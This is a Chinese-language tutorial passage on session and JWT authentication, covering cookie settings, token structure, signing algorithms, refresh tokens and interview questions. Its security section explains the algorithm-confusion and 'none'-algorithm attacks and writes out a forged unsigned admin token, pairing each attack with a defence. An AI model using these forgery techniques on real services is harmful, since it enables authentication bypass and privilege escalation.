攻击方式: - 窃取Cookie(XSS攻击、网络嗅探) - 中间人攻击(HTTP传输)
防护措施:
// Cookie安全配置
Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);
// 1. HttpOnly:防止JavaScript访问(防XSS)
sessionCookie.setHttpOnly(true);
// 2. Secure:仅HTTPS传输(防网络嗅探)
sessionCookie.setSecure(true);
// 3. SameSite:防止CSRF攻击
sessionCookie.setSameSite("Strict");
// Strict: 完全禁止第三方Cookie
// Lax: 允许部分第三方请求(GET导航)
// None: 不限制(需配合Secure)
// 4. 设置路径和域
sessionCookie.setPath("/");
sessionCookie.setDomain(".example.com"); // 跨子域共享
// 5. 设置过期时间
sessionCookie.setMaxAge(1800); // 30分钟
额外防护:
// 绑定IP地址(可选,移动网络IP会变)
public boolean validateSession(String sessionId, String clientIp) {
SessionData session = getSession(sessionId);
if (session == null) return false;
// 检查IP是否匹配
if (!session.getIpAddress().equals(clientIp)) {
log.warn("IP mismatch for session: {}", sessionId);
return false;
}
return true;
}
// 绑定User-Agent(检测浏览器变化)
public boolean validateUserAgent(SessionData session, String userAgent) {
return session.getUserAgent().equals(userAgent);
}
3. Session超时策略¶
固定超时(Absolute Timeout):
滑动超时(Sliding Timeout):
组合策略(推荐):
public class SessionExpirationPolicy {
private int slidingTimeout = 30; // 30分钟无操作
private int absoluteTimeout = 480; // 8小时绝对超时
public boolean isExpired(SessionData session) {
long now = System.currentTimeMillis();
// 检查绝对超时
if (now - session.getCreatedTime() > absoluteTimeout * 60 * 1000) {
return true;
}
// 检查滑动超时
if (now - session.getLastAccessTime() > slidingTimeout * 60 * 1000) {
return true;
}
return false;
}
}
4. 并发会话控制¶
单设备登录:
public void limitConcurrentSessions(String userId) {
// 获取用户的所有Session
List<String> existingSessions = redis.keys("session:user:" + userId + ":*");
// 使旧Session失效
for (String sessionKey : existingSessions) {
redis.del(sessionKey);
}
// 创建新Session
createNewSession(userId);
}
多设备登录(限制数量):
public boolean checkConcurrentSessions(String userId, int maxSessions) {
List<String> sessions = getUserSessions(userId);
if (sessions.size() >= maxSessions) {
// 删除最旧的Session
String oldestSession = findOldestSession(sessions);
removeSession(oldestSession);
}
return true;
}
1.7 Session实际应用场景¶
场景1:单体应用
技术栈:Spring Boot + Tomcat
Session管理:内存存储
适用规模:<1000并发用户
配置:
server.servlet.session.timeout=30m
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
场景2:分布式应用
技术栈:Spring Boot + Redis
Session管理:Spring Session + Redis
适用规模:>10000并发用户
配置:
spring.session.store-type=redis
spring.redis.host=redis-cluster
spring.session.timeout=30m
场景3:跨子域Session共享
需求:
- www.example.com
- api.example.com
- admin.example.com
共享登录状态
配置:
Cookie域设置:.example.com
Session存储:Redis(所有子域共享)
2. JWT(JSON Web Token)详解¶
2.1 JWT基础理论(What & Why)¶
JWT是什么?
JWT(JSON Web Token)是一种**开放标准(RFC 7519)**,定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为JSON对象。
设计目标: 1. 无状态:服务器不需要存储Session 2. 可扩展:天然支持分布式和微服务 3. 跨域:支持跨域身份验证 4. 自包含:Token包含所有必要信息
JWT vs 传统Session Token:
| 特性 | 传统Session Token | JWT |
|---|---|---|
| 存储位置 | 服务器端 | 客户端 |
| Token内容 | 随机字符串(引用) | JSON数据(自包含) |
| 验证方式 | 查询存储 | 验证签名 |
| 服务器状态 | 有状态 | 无状态 |
| 扩展性 | 需要Session共享 | 天然支持分布式 |
| 撤销能力 | 容易(删除Session) | 困难(需要黑名单) |
| 大小 | 小(32-128字节) | 大(通常>200字节) |
2.2 JWT结构详解(Structure)¶
JWT由三部分组成,用点(.)分隔:
完整示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Part 1: Header(头部)¶
**作用:**描述Token的元数据
典型结构:
Base64URL编码后:
常用算法:
对称算法(HMAC):
- HS256: HMAC + SHA-256
- HS384: HMAC + SHA-384
- HS512: HMAC + SHA-512
非对称算法(RSA/ECDSA):
- RS256: RSA + SHA-256
- RS384: RSA + SHA-384
- RS512: RSA + SHA-512
- ES256: ECDSA + SHA-256
Part 2: Payload(载荷)¶
**作用:**存储实际数据(Claims)
Payload结构:
{
// 标准Claims(Registered Claims)
"iss": "https://auth.example.com", // Issuer(签发者)
"sub": "1234567890", // Subject(主题,通常是用户ID)
"aud": "https://api.example.com", // Audience(受众)
"exp": 1735689600, // Expiration Time(过期时间,Unix时间戳)
"nbf": 1735686000, // Not Before(生效时间)
"iat": 1735686000, // Issued At(签发时间)
"jti": "unique-token-id-123", // JWT ID(唯一标识符)
// 自定义Claims(Private Claims)
"username": "zhangsan",
"roles": ["user", "admin"],
"permissions": ["read", "write"]
}
Base64URL编码后:
标准Claims详解:
| Claim | 名称 | 说明 | 示例 |
|---|---|---|---|
| iss | Issuer | Token签发者 | "https://auth.example.com" |
| sub | Subject | Token主题(用户ID) | "user123" |
| aud | Audience | Token受众(谁可以使用) | "api.example.com" 或 ["api", "web"] |
| exp | Expiration | 过期时间(Unix时间戳) | 1735689600 (2025-01-01 00:00) |
| nbf | Not Before | 生效时间 | 1735686000 |
| iat | Issued At | 签发时间 | 1735686000 |
| jti | JWT ID | Token唯一ID(防重放) | "abc-123-def" |
⚠️ 重要提示:
Part 3: Signature(签名)¶
**作用:**验证Token完整性和真实性
生成算法(以HS256为例):
完整示例:
// 输入
const header = '{"alg":"HS256","typ":"JWT"}';
const payload = '{"sub":"1234567890","name":"John Doe","iat":1516239022}';
const secret = 'my-256-bit-secret';
// 步骤1:Base64URL编码
const encodedHeader = base64UrlEncode(header);
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
const encodedPayload = base64UrlEncode(payload);
// eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
// 步骤2:拼接
const data = encodedHeader + '.' + encodedPayload;
// 步骤3:签名
const signature = HMACSHA256(data, secret);
// SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
// 步骤4:完整JWT
const jwt = data + '.' + base64UrlEncode(signature);
签名的作用: 1. 完整性验证:检测Token是否被篡改 2. 真实性验证:确认Token由授权服务器签发 3. 不可伪造:没有密钥无法伪造有效签名
2.3 JWT工作流程(Workflow)¶
完整认证流程:
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 客户端 │ │ 认证服务器 │ │ 资源服务器 │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /login │ │
│ username & password │ │
├───────────────────────────>│ │
│ │ │
│ │ 2. 验证凭证 │
│ │ 3. 生成JWT: │
│ │ - 创建Header │
│ │ - 创建Payload │
│ │ - 生成Signature │
│ │ │
│ 4. 返回JWT │ │
│ { │ │
│ "access_token": "eyJ...", │
│ "token_type": "Bearer", │
│ "expires_in": 3600 │ │
│ } │ │
│<───────────────────────────┤ │
│ │ │
│ 5. 客户端保存Token │ │
│ localStorage.setItem('token', ...) │
│ │ │
│ 6. GET /api/user/profile │
│ Authorization: Bearer eyJ... │
├────────────────────────────────────────────────────────>│
│ │ │
│ │ │ 7. 提取Token
│ │ │ 8. 验证Token:
│ │ │ - 解析Header
│ │ │ - 解析Payload
│ │ │ - 验证签名
│ │ │ - 检查过期时间
│ │ │ 9. 提取用户信息
│ │ │ 10. 执行业务逻辑
│ │ │
│ 11. 返回用户数据 │
│<────────────────────────────────────────────────────────┤
│ │ │
Token验证详细步骤:
/**
* JWT验证伪代码
*/
public User validateToken(String jwt) {
// 1. 分割JWT
String[] parts = jwt.split("\\.");
if (parts.length != 3) {
throw new InvalidTokenException("Invalid JWT format");
}
String encodedHeader = parts[0];
String encodedPayload = parts[1];
String encodedSignature = parts[2];
// 2. 解码Header
Header header = base64UrlDecode(encodedHeader);
String algorithm = header.getAlg();
// 3. 验证签名
String data = encodedHeader + "." + encodedPayload;
String expectedSignature = sign(data, secret, algorithm);
if (!encodedSignature.equals(expectedSignature)) {
throw new InvalidTokenException("Invalid signature");
}
// 4. 解码Payload
Payload payload = base64UrlDecode(encodedPayload);
// 5. 验证Claims
long now = System.currentTimeMillis() / 1000;
// 检查过期时间
if (payload.getExp() < now) {
throw new TokenExpiredException("Token has expired");
}
// 检查生效时间
if (payload.getNbf() > now) {
throw new TokenNotYetValidException("Token not yet valid");
}
// 检查受众
if (!payload.getAud().contains(expectedAudience)) {
throw new InvalidAudienceException("Invalid audience");
}
// 6. 返回用户信息
return new User(payload.getSub(), payload.getRoles());
}
2.4 JWT签名算法详解¶
对称签名(HMAC)¶
**原理:**使用同一个密钥进行签名和验证
常用算法: - HS256:HMAC-SHA256(推荐,最常用) - HS384:HMAC-SHA384 - HS512:HMAC-SHA512
签名过程:
签名方生成:
signature = HMACSHA256(data, secretKey)
验证方验证:
expectedSignature = HMACSHA256(data, secretKey)
valid = (signature == expectedSignature)
关键:签名方和验证方使用相同的secretKey
密钥要求:
优点: - ✅ 性能高(比非对称快10-100倍) - ✅ 实现简单 - ✅ 密钥管理相对简单
缺点: - ❌ 需要共享密钥(所有服务器都有密钥) - ❌ 密钥泄露风险高 - ❌ 不适合多方验证场景
适用场景: - 单体应用或同一组织内的微服务 - 认证服务器和资源服务器在同一信任域
非对称签名(RSA/ECDSA)¶
**原理:**使用私钥签名,公钥验证
常用算法: - RS256:RSA-SHA256(最常用) - RS384:RSA-SHA384 - RS512:RSA-SHA512 - ES256:ECDSA-SHA256(更短的密钥,相同安全性)
签名过程:
认证服务器(持有私钥):
signature = RSA_Sign(data, privateKey)
资源服务器(持有公钥):
valid = RSA_Verify(data, signature, publicKey)
关键:私钥签名,公钥验证,公钥可以公开分发
密钥对生成:
# 生成RS256密钥对
openssl genrsa -out private_key.pem 2048
openssl rsa -in private_key.pem -pubout -out public_key.pem
# 生成ES256密钥对(ECDSA)
openssl ecparam -genkey -name prime256v1 -noout -out ec_private_key.pem
openssl ec -in ec_private_key.pem -pubout -out ec_public_key.pem
优点: - ✅ 私钥只在认证服务器,安全性高 - ✅ 公钥可以分发给所有资源服务器 - ✅ 适合多方验证 - ✅ 支持密钥轮换
缺点: - ❌ 性能较低(比HMAC慢10-100倍) - ❌ 实现复杂 - ❌ 密钥管理复杂(需要PKI)
适用场景: - 微服务架构(多个资源服务器) - 第三方API访问 - 需要公开验证Token的场景
算法选择建议¶
场景1:单体应用或内部微服务
推荐:HS256
理由:性能高,实现简单,密钥管理容易
场景2:多租户SaaS平台
推荐:RS256
理由:每个租户可以有独立的密钥对,公钥分发
场景3:移动应用 + 后端API
推荐:RS256
理由:公钥可以内置在移动应用中验证
场景4:对性能要求极高
推荐:ES256(ECDSA)
理由:比RSA更快,密钥更短,安全性相同
⚠️ 避免使用 alg: "none"(无签名),存在安全风险!
2.5 JWT安全性深入¶
常见安全问题¶
问题1:算法混淆攻击(Algorithm Confusion)
攻击原理:
1. 攻击者获取公钥(公钥是公开的)
2. 修改Header:alg: "RS256" → "HS256"
3. 使用公钥作为HMAC密钥签名Token
4. 服务器用公钥验证HMAC签名 → 通过!
攻击示例:
// 原始Token(RS256)
Header: {"alg": "RS256", "typ": "JWT"}
Payload: {"sub": "user123", "role": "user"}
Signature: [RS256签名]
// 攻击后的Token(改为HS256)
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "user123", "role": "admin"} // 提升权限!
Signature: HMAC(data, publicKey) // 用公钥作为密钥
防护措施:
// ❌ 错误:信任Header中的算法
public boolean validateToken(String jwt) {
Header header = parseHeader(jwt);
String alg = header.getAlg(); // 从Token中读取
return verify(jwt, alg); // 危险!
}
// ✅ 正确:强制指定算法
public boolean validateToken(String jwt) {
final String EXPECTED_ALG = "RS256"; // 硬编码
Header header = parseHeader(jwt);
if (!EXPECTED_ALG.equals(header.getAlg())) {
throw new SecurityException("Algorithm not allowed");
}
return verify(jwt, EXPECTED_ALG);
}
问题2:None算法攻击
攻击原理:
// 攻击者修改Header
{
"alg": "none", // 无签名!
"typ": "JWT"
}
// 伪造的Payload
{
"sub": "admin",
"role": "superadmin"
}
// Token格式:Header.Payload.(签名为空)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJzdXBlcmFkbWluIn0.
防护措施:
// ✅ 拒绝none算法
public boolean validateToken(String jwt) {
Header header = parseHeader(jwt);
if ("none".equalsIgnoreCase(header.getAlg())) {
throw new SecurityException("Unsigned JWT not allowed");
}
return verify(jwt);
}
问题3:密钥泄露
风险场景: - 密钥硬编码在源代码中 - 密钥提交到Git仓库 - 密钥通过日志泄露 - 密钥权限管理不当
最佳实践:
// ❌ 错误:硬编码密钥
private static final String SECRET = "my-secret-key-123";
// ✅ 正确:从环境变量读取
private final String secret = System.getenv("JWT_SECRET");
// ✅ 更好:从密钥管理服务读取
private final String secret = keyManagementService.getSecret("jwt-secret");
// ✅ 最佳:定期轮换密钥
public class KeyRotationService {
private Map<String, SecretKey> keys = new HashMap<>();
private String currentKeyId = "key-2024-01";
public String sign(String data) {
SecretKey key = keys.get(currentKeyId);
return HMAC(data, key);
}
public boolean verify(String data, String signature, String keyId) {
SecretKey key = keys.get(keyId); // 支持旧密钥验证
return HMAC(data, key).equals(signature);
}
}
问题4:Token被窃取
攻击场景: - XSS攻击窃取localStorage中的Token - 中间人攻击拦截HTTP传输 - 恶意软件窃取
防护措施:
1. 使用HTTPS(防中间人)
✅ 所有API必须HTTPS
✅ 启用HSTS头
2. HttpOnly Cookie存储(防XSS)
✅ Token存储在HttpOnly Cookie中
❌ 不要存储在localStorage
3. 短期Token + Refresh Token
✅ Access Token: 15分钟
✅ Refresh Token: 7天,存储在安全Cookie
4. Token Binding(高级)
✅ 将Token绑定到TLS连接
✅ 防止Token被复制使用
问题5:重放攻击(Replay Attack)
攻击原理:
防护措施:
// 方案1:使用jti(JWT ID)+ 黑名单
public boolean validateToken(String jwt) {
Claims claims = parseToken(jwt);
String jti = claims.getJti();
// 检查是否在黑名单中
if (blacklist.contains(jti)) {
throw new TokenRevokedException();
}
return true;
}
// 登出时将jti加入黑名单
public void logout(String jwt) {
Claims claims = parseToken(jwt);
String jti = claims.getJti();
long exp = claims.getExp();
// 添加到黑名单,设置TTL为Token剩余时间
long ttl = exp - (System.currentTimeMillis() / 1000);
blacklist.add(jti, ttl);
}
// 方案2:使用nonce(一次性随机数)
{
"jti": "unique-id-123",
"nonce": "random-nonce-xyz",
"iat": 1735686000
}
// 方案3:短期Token(最简单)
// Access Token: 5-15分钟
// 即使被窃取,影响时间也很短
Token撤销策略¶
**问题:**JWT无状态的特性导致无法主动撤销
解决方案对比:
| 方案 | 实现方式 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|---|
| 黑名单 | Redis存储已撤销的jti | 精确控制 | 失去无状态优势 | 中等安全要求 |
| 白名单 | Redis存储有效的jti | 安全性最高 | 类似Session,失去JWT优势 | 高安全要求 |
| 短期Token | 设置短过期时间 | 保持无状态 | 用户体验差(频繁刷新) | 低安全要求 |
| Refresh Token | Access Token短期 + Refresh Token长期 | 平衡安全和体验 | 实现复杂 | 推荐方案 |
| 版本号 | Payload中存储tokenVersion | 简单 | 需要查询数据库 | 简单场景 |
推荐方案:Access Token + Refresh Token
架构设计:
Access Token(访问令牌):
- 用途:访问受保护资源
- 有效期:短(5-15分钟)
- 存储位置:内存或HttpOnly Cookie
- 是否可撤销:不可(但很快过期)
Refresh Token(刷新令牌):
- 用途:获取新的Access Token
- 有效期:长(7-30天)
- 存储位置:HttpOnly Cookie或安全存储
- 是否可撤销:可以(存储在数据库)
流程:
1. 登录 → 返回Access Token + Refresh Token
2. 访问API → 使用Access Token
3. Access Token过期 → 使用Refresh Token获取新的Access Token
4. Refresh Token过期 → 重新登录
5. 登出 → 撤销Refresh Token(数据库删除)
实现示例:
/**
* Token刷新流程
*/
public TokenPair refreshToken(String refreshToken) {
// 1. 验证Refresh Token
Claims claims = jwtService.validateToken(refreshToken);
String userId = claims.getSubject();
String tokenId = claims.getJti();
// 2. 检查Refresh Token是否在数据库中(未被撤销)
RefreshTokenEntity entity = refreshTokenRepository
.findByUserIdAndTokenId(userId, tokenId);
if (entity == null || entity.isRevoked()) {
throw new InvalidRefreshTokenException();
}
// 3. 生成新的Access Token(短期)
String newAccessToken = jwtService.generateAccessToken(
userId,
Duration.ofMinutes(15)
);
// 4. 可选:轮换Refresh Token(更安全)
String newRefreshToken = jwtService.generateRefreshToken(
userId,
Duration.ofDays(7)
);
// 撤销旧Refresh Token
entity.setRevoked(true);
refreshTokenRepository.save(entity);
// 保存新Refresh Token
saveNewRefreshToken(userId, newRefreshToken);
// 5. 返回新Token对
return new TokenPair(newAccessToken, newRefreshToken);
}
2.6 JWT最佳实践¶
1. Token存储位置选择¶
选项对比:
| 存储位置 | 安全性 | XSS风险 | CSRF风险 | 适用场景 |
|---|---|---|---|---|
| localStorage | 低 | 高(易被XSS窃取) | 无 | 不推荐 |
| sessionStorage | 低 | 高(易被XSS窃取) | 无 | 临时Token |
| HttpOnly Cookie | 高 | 低(JavaScript无法访问) | 有(需CSRF防护) | 推荐 |
| 内存变量 | 最高 | 无 | 无 | SPA应用 |
推荐方案:HttpOnly Cookie + SameSite
// 服务器端设置Cookie
public void setTokenCookie(HttpServletResponse response, String token) {
Cookie cookie = new Cookie("access_token", token);
// 安全配置
cookie.setHttpOnly(true); // 防止JavaScript访问
cookie.setSecure(true); // 仅HTTPS传输
cookie.setSameSite("Strict"); // 防止CSRF
cookie.setPath("/"); // 全站有效
cookie.setMaxAge(15 * 60); // 15分钟
response.addCookie(cookie);
}
// 客户端自动携带Cookie
// 浏览器会自动在请求中包含Cookie,无需JavaScript操作
SPA应用方案:内存存储 + 自动刷新
// 客户端代码
class TokenManager {
constructor() {
this.accessToken = null; // 内存存储
this.refreshTimer = null;
}
// 登录后保存Token
setToken(accessToken, expiresIn) {
this.accessToken = accessToken;
// 在Token过期前5分钟自动刷新
const refreshTime = (expiresIn - 300) * 1000;
this.refreshTimer = setTimeout(() => {
this.refreshAccessToken();
}, refreshTime);
}
// 获取Token
getToken() {
return this.accessToken;
}
// 刷新Token
async refreshAccessToken() {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include' // 携带Refresh Token Cookie
});
const { access_token, expires_in } = await response.json();
this.setToken(access_token, expires_in);
}
// 登出时清除
clearToken() {
this.accessToken = null;
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}
}
}
2. Token过期时间设置¶
推荐配置:
Access Token(访问令牌):
- 移动APP:60分钟
- Web应用(SPA):15分钟
- 后台服务调用:5分钟
- 高安全场景(银行):5分钟
Refresh Token(刷新令牌):
- 移动APP:30-90天
- Web应用:7-14天
- 高安全场景:1-3天
原则:
- Access Token越短越安全,但刷新频率越高
- Refresh Token越长用户体验越好,但风险越高
- 根据实际场景权衡
实现示例:
public class JWTConfig {
// Access Token配置
public static final Duration ACCESS_TOKEN_VALIDITY = Duration.ofMinutes(15);
// Refresh Token配置
public static final Duration REFRESH_TOKEN_VALIDITY = Duration.ofDays(7);
// 刷新窗口(在过期前多久可以刷新)
public static final Duration REFRESH_WINDOW = Duration.ofMinutes(5);
}
3. Claims设计原则¶
✅ 应该包含的Claims:
{
"sub": "user-123", // 用户ID(必需)
"iss": "https://auth.example.com", // 签发者
"aud": "https://api.example.com", // 受众
"exp": 1735689600, // 过期时间(必需)
"iat": 1735686000, // 签发时间
"jti": "token-uuid-123", // Token唯一ID(用于撤销)
"roles": ["user", "admin"], // 角色(用于权限控制)
"permissions": ["read", "write"], // 权限
"type": "access" // Token类型
}
❌ 不应该包含的信息:
{
"password": "xxx", // ❌ 密码
"creditCard": "1234-5678", // ❌ 敏感信息
"ssn": "123-45-6789", // ❌ 身份证号
"privateKey": "xxx" // ❌ 密钥
}
设计原则:
1. 最小化原则
- 只包含必要信息
- Token越小性能越好
2. 不可变原则
- Token签发后无法修改
- 需要更新信息时重新签发
3. 公开性原则
- Payload可被任何人解码
- 不要存放敏感信息
4. 标准化原则
- 优先使用标准Claims
- 自定义Claims命名规范
4. 多端登录管理¶
场景1:单设备登录(踢出旧设备)
public String login(String username, String password, String deviceId) {
// 1. 验证凭证
User user = authenticate(username, password);
// 2. 撤销该用户所有旧Token
refreshTokenRepository.revokeAllByUserId(user.getId());
// 3. 生成新Token
String accessToken = generateAccessToken(user);
String refreshToken = generateRefreshToken(user, deviceId);
// 4. 保存新Refresh Token
saveRefreshToken(user.getId(), refreshToken, deviceId);
return accessToken;
}
场景2:多设备登录(限制数量)
public String login(String username, String password, String deviceId) {
User user = authenticate(username, password);
// 获取用户当前活跃设备数
List<RefreshToken> activeTokens = refreshTokenRepository
.findActiveByUserId(user.getId());
// 限制最多3个设备同时登录
if (activeTokens.size() >= 3) {
// 撤销最早登录的设备
RefreshToken oldest = activeTokens.get(0);
oldest.setRevoked(true);
refreshTokenRepository.save(oldest);
}
// 生成新Token
return generateTokens(user, deviceId);
}
场景3:不同设备不同权限
// 移动设备Token
{
"sub": "user-123",
"device_type": "mobile",
"device_id": "iPhone-12-abc",
"roles": ["user"],
"permissions": ["read", "write"],
"exp": 1735775400 // 7天
}
// Web设备Token
{
"sub": "user-123",
"device_type": "web",
"device_id": "browser-session-xyz",
"roles": ["user", "admin"], // Web端有admin权限
"permissions": ["read", "write", "delete"],
"exp": 1735686900 // 15分钟
}
2.7 JWT在微服务中的应用¶
架构模式:
┌─────────────────┐
│ API Gateway │
│ (Token验证) │
└────────┬────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────▼──────┐ ┌─────▼─────┐ ┌──────▼──────┐
│ User Service│ │Order Service│ │Product Service│
│ (验证Token)│ │ (验证Token)│ │ (验证Token)│
└─────────────┘ └─────────────┘ └─────────────┘
方案1:网关统一验证(推荐)
/**
* API网关Token验证
*/
@Component
public class JWTGatewayFilter implements GlobalFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
// 1. 提取Token
String token = extractToken(exchange.getRequest());
if (token == null) {
return unauthorized(exchange);
}
try {
// 2. 验证Token
Claims claims = jwtService.validateToken(token);
// 3. 将用户信息传递给下游服务(通过Header)
ServerHttpRequest request = exchange.getRequest().mutate()
.header("X-User-Id", claims.getSubject())
.header("X-User-Roles", String.join(",", claims.getRoles()))
.build();
// 4. 继续处理
return chain.filter(exchange.mutate().request(request).build());
} catch (JwtException e) {
return unauthorized(exchange);
}
}
}
/**
* 下游微服务从Header获取用户信息
*/
@RestController
public class UserController {
@GetMapping("/api/user/profile")
public UserProfile getProfile(
@RequestHeader("X-User-Id") String userId,
@RequestHeader("X-User-Roles") String roles
) {
// 直接使用用户信息,无需再次验证Token
return userService.getProfile(userId);
}
}
方案2:每个服务独立验证(高安全要求)
/**
* 微服务内部Token验证
*/
@Component
public class JWTAuthenticationFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
String token = extractToken(request);
if (token != null) {
try {
// 每个服务独立验证Token
Claims claims = jwtService.validateToken(token);
// 设置认证上下文
Authentication auth = new JWTAuthentication(claims);
SecurityContextHolder.getContext().setAuthentication(auth);
} catch (JwtException e) {
// Token无效
}
}
chain.doFilter(request, response);
}
}
方案3:服务间调用Token传递
/**
* 使用Feign传递Token
*/
@FeignClient(name = "order-service")
public interface OrderServiceClient {
@GetMapping("/api/orders/{id}")
Order getOrder(@PathVariable String id);
}
/**
* Feign拦截器自动添加Token
*/
@Component
public class FeignTokenInterceptor implements RequestInterceptor {
@Override
public void apply(RequestTemplate template) {
// 从当前请求上下文获取Token
ServletRequestAttributes attributes =
(ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
if (attributes != null) {
HttpServletRequest request = attributes.getRequest();
String token = request.getHeader("Authorization");
// 传递给下游服务
if (token != null) {
template.header("Authorization", token);
}
}
}
}
3. Session vs JWT 深度对比¶
详细对比表¶
| 维度 | Session | JWT |
|---|---|---|
| 状态存储 | 服务器端(有状态) | 客户端(无状态) |
| 扩展性 | 差(需Session共享) | 优秀(天然支持分布式) |
| 服务器压力 | 高(存储+查询) | 低(只需验证签名) |
| Token大小 | 小(32-128字节) | 大(通常200-1000字节) |
| 性能 | 较慢(需查询存储) | 快(本地验证) |
| 撤销能力 | 容易(删除Session) | 困难(需黑名单或短期Token) |
| 跨域支持 | 受限(Cookie同源策略) | 优秀(Header传递) |
| 移动端友好 | 较差(Cookie管理复杂) | 优秀(Header灵活) |
| 实现复杂度 | 简单 | 中等 |
| 安全风险 | Session劫持 | Token泄露、重放攻击 |
| 信息容量 | 大(服务器端存储) | 小(需控制Token大小) |
| 适用架构 | 单体、小型分布式 | 微服务、RESTful API |
场景选择指南¶
选择Session的场景:
✅ 单体应用或小型分布式系统
✅ 需要频繁撤销会话
✅ 需要存储大量会话数据
✅ 传统Web应用(服务器端渲染)
✅ 高度内网环境
选择JWT的场景:
✅ 微服务架构
✅ RESTful API
✅ 移动应用 + 后端API
✅ SPA(单页应用)
✅ 跨域应用
✅ 第三方API集成
混合方案:
✅ Session(Web端) + JWT(移动端API)
✅ JWT(Access Token) + Session(Refresh Token)
✅ 外部用户(JWT) + 内部员工(Session)
4. 实际应用场景案例¶
场景1:单体Web应用(Session方案)¶
技术栈:
配置:
# application.yml
spring:
session:
store-type: redis # Session存储到Redis
timeout: 30m # 30分钟超时
redis:
namespace: myapp:session
server:
servlet:
session:
cookie:
http-only: true
secure: true
same-site: strict
优势: - 实现简单,Spring自动管理 - 易于撤销Session - 适合传统Web应用
场景2:SPA应用(JWT方案)¶
技术栈:
Token流程:
// 前端代码
class AuthService {
async login(username, password) {
const response = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({ username, password }),
credentials: 'include' // 携带Cookie
});
const { access_token, expires_in } = await response.json();
// Access Token存储在内存
this.setAccessToken(access_token, expires_in);
// Refresh Token在HttpOnly Cookie中(服务器设置)
}
async request(url, options) {
// 自动添加Access Token
const token = this.getAccessToken();
const response = await fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${token}`
}
});
// Token过期时自动刷新
if (response.status === 401) {
await this.refreshToken();
return this.request(url, options); // 重试
}
return response;
}
}
优势: - 前后端完全分离 - 支持跨域 - 适合现代SPA架构
场景3:移动App(JWT + Refresh Token)¶
技术栈:
Token管理:
// Android示例(Kotlin)
class TokenManager(private val secureStorage: SecureStorage) {
// Access Token存储在内存
private var accessToken: String? = null
// Refresh Token存储在加密存储
private var refreshToken: String?
get() = secureStorage.getString("refresh_token")
set(value) = secureStorage.putString("refresh_token", value)
suspend fun login(username: String, password: String) {
val response = authApi.login(username, password)
accessToken = response.accessToken
refreshToken = response.refreshToken // 存储到加密存储
}
suspend fun getValidAccessToken(): String {
// 检查Access Token是否过期
if (isAccessTokenExpired()) {
// 使用Refresh Token获取新的Access Token
val response = authApi.refresh(refreshToken!!)
accessToken = response.accessToken
}
return accessToken!!
}
}
优势: - Refresh Token长期有效(30-90天) - 用户体验好,无需频繁登录 - 安全性高(Refresh Token可撤销)
场景4:微服务架构(JWT统一认证)¶
架构:
┌─────────┐ JWT ┌──────────────┐
│ Client ├─────────────>│ API Gateway │
└─────────┘ │ (验证Token) │
└──────┬───────┘
│ X-User-Id, X-Roles
│ (内部调用不需要Token)
┌───────────────┼───────────────┐
│ │ │
┌──────▼──────┐ ┌─────▼─────┐ ┌──────▼──────┐
│User Service │ │Order Service│ │Payment Service│
└─────────────┘ └──────────────┘ └─────────────┘
优势: - 网关统一验证,减轻微服务压力 - 无状态,易于扩展 - 服务间调用无需Token(内网信任)
场景5:混合方案(Session + JWT)¶
应用场景: - 内部员工:Session(频繁操作,需要随时撤销) - 外部用户:JWT(分布式,跨域访问)
实现:
@RestController
public class AuthController {
@PostMapping("/auth/employee/login")
public void employeeLogin(HttpSession session, @RequestBody LoginRequest request) {
// 内部员工使用Session
User user = authenticate(request);
session.setAttribute("user", user);
}
@PostMapping("/auth/customer/login")
public TokenResponse customerLogin(@RequestBody LoginRequest request) {
// 外部客户使用JWT
User user = authenticate(request);
String token = jwtService.generateToken(user);
return new TokenResponse(token);
}
}
5. 常见面试题¶
Q1: Session和Token的区别?¶
回答要点:
核心区别:
1. 存储位置
- Session:服务器端存储,SessionID在客户端
- Token(JWT):客户端存储,服务器不存储
2. 扩展性
- Session:需要Session共享(Redis/Sticky Session)
- Token:天然支持分布式,无状态
3. 撤销能力
- Session:容易撤销(删除即可)
- Token:难撤销(需要黑名单或短期Token)
4. 性能
- Session:需要查询存储(Redis/DB)
- Token:本地验证签名,更快
5. 适用场景
- Session:单体应用、需要频繁撤销
- Token:微服务、移动端API、跨域
面试加分项:
- 提到JWT的三部分结构(Header.Payload.Signature)
- 说明Refresh Token机制
- 讲解分布式Session解决方案
Q2: JWT如何防止被篡改?¶
回答要点:
核心机制:数字签名
1. 签名生成:
signature = HMAC-SHA256(header + "." + payload, secret)
2. 验证过程:
- 服务器收到JWT
- 重新计算签名:expectedSig = HMAC(header + payload, secret)
- 对比:expectedSig == receivedSig
- 不匹配则拒绝
3. 为什么安全?
- 攻击者没有secret,无法生成有效签名
- 修改Payload后签名会失效
- 即使Payload是Base64编码可见,但无法伪造
4. 注意事项:
- secret必须保密
- 建议使用RS256(非对称)替代HS256
- 防止算法混淆攻击(alg: none)
面试加分项:
- 区分对称和非对称签名
- 提到常见攻击方式和防护
- 说明密钥管理最佳实践
